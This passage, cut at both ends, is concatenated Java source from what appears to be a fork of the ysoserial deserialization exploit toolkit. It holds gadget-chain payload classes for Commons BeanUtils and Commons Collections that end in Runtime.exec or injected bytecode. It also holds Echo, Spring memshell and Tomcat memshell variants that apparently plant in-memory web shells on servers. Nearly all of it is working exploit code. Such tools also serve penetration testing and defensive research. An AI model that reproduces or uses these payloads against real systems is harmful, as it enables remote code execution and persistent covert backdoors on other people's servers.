org.apache.commons.beanutils.BeanComparator; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | @SuppressWarnings({ "rawtypes", "unchecked" }) 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 16 | @Authors({ Authors.FROHOFF }) 17 | public class CommonsBeanutils1Echo implements ObjectPayload { 18 | 19 | public Object getObject(final String command) throws Exception { 20 | final Object templates = Gadgets.createDFSEcho(); 21 | // mock method name until armed 22 | final BeanComparator comparator = new BeanComparator("lowestSetBit"); 23 | 24 | // create queue with numbers and basic comparator 25 | final PriorityQueue queue = new PriorityQueue(2, comparator); 26 | // stub data for replacement later 27 | queue.add(new BigInteger("1")); 28 | queue.add(new BigInteger("1")); 29 | 30 | // switch method called by comparator 31 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 32 | 33 | // switch contents of queue 34 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 35 | queueArray[0] = templates; 36 | queueArray[1] = templates; 37 | 38 | return queue; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsBeanutils1.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsBeanutils1SpringMemshell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.math.BigInteger; 4 | import java.util.PriorityQueue; 5 | 6 | import org.apache.commons.beanutils.BeanComparator; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | @SuppressWarnings({ "rawtypes", "unchecked" }) 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 16 | @Authors({ Authors.FROHOFF }) 17 | public class CommonsBeanutils1SpringMemshell implements ObjectPayload { 18 | 19 | public Object getObject(final String command) throws Exception { 20 | final Object templates = Gadgets.createDFSSpringMemshell(); 21 | // mock method name until armed 22 | final BeanComparator comparator = new BeanComparator("lowestSetBit"); 23 | 24 | // create queue with numbers and basic comparator 25 | final PriorityQueue queue = new PriorityQueue(2, comparator); 26 | // stub data for replacement later 27 | queue.add(new BigInteger("1")); 28 | queue.add(new BigInteger("1")); 29 | 30 | // switch method called by comparator 31 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 32 | 33 | // switch contents of queue 34 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 35 | queueArray[0] = templates; 36 | queueArray[1] = templates; 37 | 38 | return queue; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsBeanutils1.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsBeanutils1TomcatMemshell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.math.BigInteger; 4 | import java.util.PriorityQueue; 5 | 6 | import org.apache.commons.beanutils.BeanComparator; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | @SuppressWarnings({ "rawtypes", "unchecked" }) 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 16 | @Authors({ Authors.FROHOFF }) 17 | public class CommonsBeanutils1TomcatMemshell implements ObjectPayload { 18 | 19 | public Object getObject(final String command) throws Exception { 20 | final Object templates = Gadgets.createDFSTomcatMemshell(); 21 | // mock method name until armed 22 | final BeanComparator comparator = new BeanComparator("lowestSetBit"); 23 | 24 | // create queue with numbers and basic comparator 25 | final PriorityQueue queue = new PriorityQueue(2, comparator); 26 | // stub data for replacement later 27 | queue.add(new BigInteger("1")); 28 | queue.add(new BigInteger("1")); 29 | 30 | // switch method called by comparator 31 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 32 | 33 | // switch contents of queue 34 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 35 | queueArray[0] = templates; 36 | queueArray[1] = templates; 37 | 38 | return queue; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsBeanutils1.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import org.apache.commons.collections.Transformer; 8 | import org.apache.commons.collections.functors.ChainedTransformer; 9 | import org.apache.commons.collections.functors.ConstantTransformer; 10 | import org.apache.commons.collections.functors.InvokerTransformer; 11 | import org.apache.commons.collections.map.LazyMap; 12 | 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.annotation.Dependencies; 15 | import ysoserial.payloads.annotation.PayloadTest; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.JavaVersion; 18 | import ysoserial.payloads.util.PayloadRunner; 19 | import ysoserial.payloads.util.Reflections; 20 | 21 | /* 22 | Gadget chain: 23 | ObjectInputStream.readObject() 24 | AnnotationInvocationHandler.readObject() 25 | Map(Proxy).entrySet() 26 | AnnotationInvocationHandler.invoke() 27 | LazyMap.get() 28 | ChainedTransformer.transform() 29 | ConstantTransformer.transform() 30 | InvokerTransformer.transform() 31 | Method.invoke() 32 | Class.getMethod() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Runtime.getRuntime() 36 | InvokerTransformer.transform() 37 | Method.invoke() 38 | Runtime.exec() 39 | 40 | Requires: 41 | commons-collections 42 | */ 43 | @SuppressWarnings({"rawtypes", "unchecked"}) 44 | @PayloadTest ( precondition = "isApplicableJavaVersion") 45 | @Dependencies({"commons-collections:commons-collections:3.1"}) 46 | @Authors({ Authors.FROHOFF }) 47 | public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { 48 | 49 | public InvocationHandler getObject(final String command) throws Exception { 50 | final String[] execArgs = new String[] { command }; 51 | // inert chain for setup 52 | final Transformer transformerChain = new ChainedTransformer( 53 | new Transformer[]{ new ConstantTransformer(1) }); 54 | // real chain for after setup 55 | final Transformer[] transformers = new Transformer[] { 56 | new ConstantTransformer(Runtime.class), 57 | new InvokerTransformer("getMethod", new Class[] { 58 | String.class, Class[].class }, new Object[] { 59 | "getRuntime", new Class[0] }), 60 | new InvokerTransformer("invoke", new Class[] { 61 | Object.class, Object[].class }, new Object[] { 62 | null, new Object[0] }), 63 | new InvokerTransformer("exec", 64 | new Class[] { String.class }, execArgs), 65 | new ConstantTransformer(1) }; 66 | 67 | final Map innerMap = new HashMap(); 68 | 69 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 70 | 71 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 72 | 73 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 74 | 75 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 76 | 77 | return handler; 78 | } 79 | 80 | public static void main(final String[] args) throws Exception { 81 | PayloadRunner.run(CommonsCollections1.class, args); 82 | } 83 | 84 | public static boolean isApplicableJavaVersion() { 85 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import org.apache.commons.collections4.comparators.TransformingComparator; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked" }) 28 | @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) 29 | @Authors({ Authors.FROHOFF }) 30 | public class CommonsCollections2 implements ObjectPayload> { 31 | 32 | public Queue getObject(final String command) throws Exception { 33 | final Object templates = Gadgets.createTemplatesImpl(command); 34 | // mock method name until armed 35 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 36 | 37 | // create queue with numbers and basic comparator 38 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 39 | // stub data for replacement later 40 | queue.add(1); 41 | queue.add(1); 42 | 43 | // switch method called by comparator 44 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 45 | 46 | // switch contents of queue 47 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 48 | queueArray[0] = templates; 49 | queueArray[1] = 1; 50 | 51 | return queue; 52 | } 53 | 54 | public static void main(final String[] args) throws Exception { 55 | PayloadRunner.run(CommonsCollections2.class, args); 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections2Echo.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import org.apache.commons.collections4.comparators.TransformingComparator; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked" }) 28 | @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) 29 | @Authors({ Authors.FROHOFF }) 30 | public class CommonsCollections2Echo implements ObjectPayload> { 31 | 32 | public Queue getObject(final String command) throws Exception { 33 | final Object templates = Gadgets.createDFSEcho(); 34 | // mock method name until armed 35 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 36 | 37 | // create queue with numbers and basic comparator 38 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 39 | // stub data for replacement later 40 | queue.add(1); 41 | queue.add(1); 42 | 43 | // switch method called by comparator 44 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 45 | 46 | // switch contents of queue 47 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 48 | queueArray[0] = templates; 49 | queueArray[1] = 1; 50 | 51 | return queue; 52 | } 53 | 54 | public static void main(final String[] args) throws Exception { 55 | PayloadRunner.run(CommonsCollections2.class, args); 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections2SpringMemshell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import org.apache.commons.collections4.comparators.TransformingComparator; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked" }) 28 | @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) 29 | @Authors({ Authors.FROHOFF }) 30 | public class CommonsCollections2SpringMemshell implements ObjectPayload> { 31 | 32 | public Queue getObject(final String command) throws Exception { 33 | final Object templates = Gadgets.createDFSSpringMemshell(); 34 | // mock method name until armed 35 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 36 | 37 | // create queue with numbers and basic comparator 38 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 39 | // stub data for replacement later 40 | queue.add(1); 41 | queue.add(1); 42 | 43 | // switch method called by comparator 44 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 45 | 46 | // switch contents of queue 47 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 48 | queueArray[0] = templates; 49 | queueArray[1] = 1; 50 | 51 | return queue; 52 | } 53 | 54 | public static void main(final String[] args) throws Exception { 55 | PayloadRunner.run(CommonsCollections2.class, args); 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections2TomcatMemshell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import org.apache.commons.collections4.comparators.TransformingComparator; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked" }) 28 | @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) 29 | @Authors({ Authors.FROHOFF }) 30 | public class CommonsCollections2TomcatMemshell implements ObjectPayload> { 31 | 32 | public Queue getObject(final String command) throws Exception { 33 | final Object templates = Gadgets.createDFSTomcatMemshell(); 34 | // mock method name until armed 35 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 36 | 37 | // create queue with numbers and basic comparator 38 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 39 | // stub data for replacement later 40 | queue.add(1); 41 | queue.add(1); 42 | 43 | // switch method called by comparator 44 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 45 | 46 | // switch contents of queue 47 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 48 | queueArray[0] = templates; 49 | queueArray[1] = 1; 50 | 51 | return queue; 52 | } 53 | 54 | public static void main(final String[] args) throws Exception { 55 | PayloadRunner.run(CommonsCollections2.class, args); 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections3.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import org.apache.commons.collections.Transformer; 10 | import org.apache.commons.collections.functors.ChainedTransformer; 11 | import org.apache.commons.collections.functors.ConstantTransformer; 12 | import org.apache.commons.collections.functors.InstantiateTransformer; 13 | import org.apache.commons.collections.map.LazyMap; 14 | 15 | import ysoserial.payloads.annotation.Authors; 16 | import ysoserial.payloads.annotation.Dependencies; 17 | import ysoserial.payloads.annotation.PayloadTest; 18 | import ysoserial.payloads.util.Gadgets; 19 | import ysoserial.payloads.util.JavaVersion; 20 | import ysoserial.payloads.util.PayloadRunner; 21 | import ysoserial.payloads.util.Reflections; 22 | 23 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 24 | 25 | /* 26 | * Variation on CommonsCollections1 that uses InstantiateTransformer instead of 27 | * InvokerTransformer. 28 | */ 29 | @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) 30 | @PayloadTest ( precondition = "isApplicableJavaVersion") 31 | @Dependencies({"commons-collections:commons-collections:3.1"}) 32 | @Authors({ Authors.FROHOFF }) 33 | public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { 34 | 35 | public Object getObject(final String command) throws Exception { 36 | Object templatesImpl = Gadgets.createTemplatesImpl(command); 37 | 38 | // inert chain for setup 39 | final Transformer transformerChain = new ChainedTransformer( 40 | new Transformer[]{ new ConstantTransformer(1) }); 41 | // real chain for after setup 42 | final Transformer[] transformers = new Transformer[] { 43 | new ConstantTransformer(TrAXFilter.class), 44 | new InstantiateTransformer( 45 | new Class[] { Templates.class }, 46 | new Object[] { templatesImpl } )}; 47 | 48 | final Map innerMap = new HashMap(); 49 | 50 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 51 | 52 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 53 | 54 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 55 | 56 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 57 | 58 | return handler; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections3.class, args); 63 | } 64 | 65 | public static boolean isApplicableJavaVersion() { 66 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections3Echo.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import org.apache.commons.collections.Transformer; 10 | import org.apache.commons.collections.functors.ChainedTransformer; 11 | import org.apache.commons.collections.functors.ConstantTransformer; 12 | import org.apache.commons.collections.functors.InstantiateTransformer; 13 | import org.apache.commons.collections.map.LazyMap; 14 | 15 | import ysoserial.payloads.annotation.Authors; 16 | import ysoserial.payloads.annotation.Dependencies; 17 | import ysoserial.payloads.annotation.PayloadTest; 18 | import ysoserial.payloads.util.Gadgets; 19 | import ysoserial.payloads.util.JavaVersion; 20 | import ysoserial.payloads.util.PayloadRunner; 21 | import ysoserial.payloads.util.Reflections; 22 | 23 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 24 | 25 | /* 26 | * Variation on CommonsCollections1 that uses InstantiateTransformer instead of 27 | * InvokerTransformer. 28 | */ 29 | @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) 30 | @PayloadTest ( precondition = "isApplicableJavaVersion") 31 | @Dependencies({"commons-collections:commons-collections:3.1"}) 32 | @Authors({ Authors.FROHOFF }) 33 | public class CommonsCollections3Echo extends PayloadRunner implements ObjectPayload { 34 | 35 | public Object getObject(final String command) throws Exception { 36 | Object templatesImpl = Gadgets.createDFSEcho(); 37 | 38 | // inert chain for setup 39 | final Transformer transformerChain = new ChainedTransformer( 40 | new Transformer[]{ new ConstantTransformer(1) }); 41 | // real chain for after setup 42 | final Transformer[] transformers = new Transformer[] { 43 | new ConstantTransformer(TrAXFilter.class), 44 | new InstantiateTransformer( 45 | new Class[] { Templates.class }, 46 | new Object[] { templatesImpl } )}; 47 | 48 | final Map innerMap = new HashMap(); 49 | 50 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 51 | 52 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 53 | 54 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 55 | 56 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 57 | 58 | return handler; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections3.class, args); 63 | } 64 | 65 | public static boolean isApplicableJavaVersion() { 66 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections3SpringMemshell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import org.apache.commons.collections.Transformer; 10 | import org.apache.commons.collections.functors.ChainedTransformer; 11 | import org.apache.commons.collections.functors.ConstantTransformer; 12 | import org.apache.commons.collections.functors.InstantiateTransformer; 13 | import org.apache.commons.collections.map.LazyMap; 14 | 15 | import ysoserial.payloads.annotation.Authors; 16 | import ysoserial.payloads.annotation.Dependencies; 17 | import ysoserial.payloads.annotation.PayloadTest; 18 | import ysoserial.payloads.util.Gadgets; 19 | import ysoserial.payloads.util.JavaVersion; 20 | import ysoserial.payloads.util.PayloadRunner; 21 | import ysoserial.payloads.util.Reflections; 22 | 23 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 24 | 25 | /* 26 | * Variation on CommonsCollections1 that uses InstantiateTransformer instead of 27 | * InvokerTransformer. 28 | */ 29 | @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) 30 | @PayloadTest ( precondition = "isApplicableJavaVersion") 31 | @Dependencies({"commons-collections:commons-collections:3.1"}) 32 | @Authors({ Authors.FROHOFF }) 33 | public class CommonsCollections3SpringMemshell extends PayloadRunner implements ObjectPayload { 34 | 35 | public Object getObject(final String command) throws Exception { 36 | Object templatesImpl = Gadgets.createDFSSpringMemshell(); 37 | 38 | // inert chain for setup 39 | final Transformer transformerChain = new ChainedTransformer( 40 | new Transformer[]{ new ConstantTransformer(1) }); 41 | // real chain for after setup 42 | final Transformer[] transformers = new Transformer[] { 43 | new ConstantTransformer(TrAXFilter.class), 44 | new InstantiateTransformer( 45 | new Class[] { Templates.class }, 46 | new Object[] { templatesImpl } )}; 47 | 48 | final Map innerMap = new HashMap(); 49 | 50 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 51 | 52 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 53 | 54 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 55 | 56 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 57 | 58 | return handler; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections3.class, args); 63 | } 64 | 65 | public static boolean isApplicableJavaVersion() { 66 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections3TomcatMemshell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import org.apache.commons.collections.Transformer; 10 | import org.apache.commons.collections.functors.ChainedTransformer; 11 | import org.apache.commons.collections.functors.ConstantTransformer; 12 | import org.apache.commons.collections.functors.InstantiateTransformer; 13 | import org.apache.commons.collections.map.LazyMap; 14 | 15 | import ysoserial.payloads.annotation.Authors; 16 | import ysoserial.payloads.annotation.Dependencies; 17 | import ysoserial.payloads.annotation.PayloadTest; 18 | import ysoserial.payloads.util.Gadgets; 19 | import ysoserial.payloads.util.JavaVersion; 20 | import ysoserial.payloads.util.PayloadRunner; 21 | import ysoserial.payloads.util.Reflections; 22 | 23 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 24 | 25 | /* 26 | * Variation on CommonsCollections1 that uses InstantiateTransformer instead of 27 | * InvokerTransformer. 28 | */ 29 | @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) 30 | @PayloadTest ( precondition = "isApplicableJavaVersion") 31 | @Dependencies({"commons-collections:commons-collections:3.1"}) 32 | @Authors({ Authors.FROHOFF }) 33 | public class CommonsCollections3TomcatMemshell extends PayloadRunner implements ObjectPayload { 34 | 35 | public Object getObject(final String command) throws Exception { 36 | Object templatesImpl = Gadgets.createDFSTomcatMemshell(); 37 | 38 | // inert chain for setup 39 | final Transformer transformerChain = new ChainedTransformer( 40 | new Transformer[]{ new ConstantTransformer(1) }); 41 | // real chain for after setup 42 | final Transformer[] transformers = new Transformer[] { 43 | new ConstantTransformer(TrAXFilter.class), 44 | new InstantiateTransformer( 45 | new Class[] { Templates.class }, 46 | new Object[] { templatesImpl } )}; 47 | 48 | final Map innerMap = new HashMap(); 49 | 50 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 51 | 52 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 53 | 54 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 55 | 56 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 57 | 58 | return handler; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections3.class, args); 63 | } 64 | 65 | public static boolean isApplicableJavaVersion() { 66 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections4.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import javax.xml.transform.Templates; 7 | 8 | import org.apache.commons.collections4.Transformer; 9 | import org.apache.commons.collections4.comparators.TransformingComparator; 10 | import org.apache.commons.collections4.functors.ChainedTransformer; 11 | import org.apache.commons.collections4.functors.ConstantTransformer; 12 | import org.apache.commons.collections4.functors.InstantiateTransformer; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 21 | 22 | /* 23 | * Variation on CommonsCollections2 that uses InstantiateTransformer instead of 24 | * InvokerTransformer. 25 | */ 26 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 27 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 28 | @Authors({ Authors.FROHOFF }) 29 | public class CommonsCollections4 implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | Object templates = Gadgets.createTemplatesImpl(command); 33 | 34 | ConstantTransformer constant = new ConstantTransformer(String.class); 35 | 36 | // mock method name until armed 37 | Class[] paramTypes = new Class[] { String.class }; 38 | Object[] args = new Object[] { "foo" }; 39 | InstantiateTransformer instantiate = new InstantiateTransformer( 40 | paramTypes, args); 41 | 42 | // grab defensively copied arrays 43 | paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); 44 | args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); 45 | 46 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); 47 | 48 | // create queue with numbers 49 | PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); 50 | queue.add(1); 51 | queue.add(1); 52 | 53 | // swap in values to arm 54 | Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); 55 | paramTypes[0] = Templates.class; 56 | args[0] = templates; 57 | 58 | return queue; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections4.class, args); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections4Echo.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import javax.xml.transform.Templates; 7 | 8 | import org.apache.commons.collections4.Transformer; 9 | import org.apache.commons.collections4.comparators.TransformingComparator; 10 | import org.apache.commons.collections4.functors.ChainedTransformer; 11 | import org.apache.commons.collections4.functors.ConstantTransformer; 12 | import org.apache.commons.collections4.functors.InstantiateTransformer; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 21 | 22 | /* 23 | * Variation on CommonsCollections2 that uses InstantiateTransformer instead of 24 | * InvokerTransformer. 25 | */ 26 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 27 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 28 | @Authors({ Authors.FROHOFF }) 29 | public class CommonsCollections4Echo implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | Object templates = Gadgets.createDFSEcho(); 33 | 34 | ConstantTransformer constant = new ConstantTransformer(String.class); 35 | 36 | // mock method name until armed 37 | Class[] paramTypes = new Class[] { String.class }; 38 | Object[] args = new Object[] { "foo" }; 39 | 